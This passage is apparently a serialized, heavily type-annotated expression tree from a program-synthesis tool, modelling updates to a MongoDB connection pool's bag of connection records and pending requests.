('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('_var434').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_next_refresh').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '+', EMap(EFilter(EMap(EBinOp(EBinOp(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '-', ESingleton(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '+', ESingleton(EMakeRecord((('conn_state', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))), ('conn_host', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 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TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort'))), ('conn_iface', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), ('conn_next_refresh', ECall('after', (EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t'))), ('conn_returned', EVar('now').with_type(TNative('mongo::Date_t'))), ('conn_last_used', EVar('retId').with_type(TInt())), ('conn_dropped', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', 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TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_dropped').with_type(TBool())))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var435').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('_var435').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', 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TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), 'rq_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()))).with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TList(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TBool()), 'or', EUnaryOp('exists', EMap(EFilter(EBinOp(EBinOp(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '-', ESingleton(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '+', ESingleton(EMakeRecord((('conn_state', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))), ('conn_host', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort'))), ('conn_iface', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), ('conn_next_refresh', ECall('after', (EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t'))), ('conn_returned', EVar('now').with_type(TNative('mongo::Date_t'))), ('conn_last_used', EVar('retId').with_type(TInt())), ('conn_dropped', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), 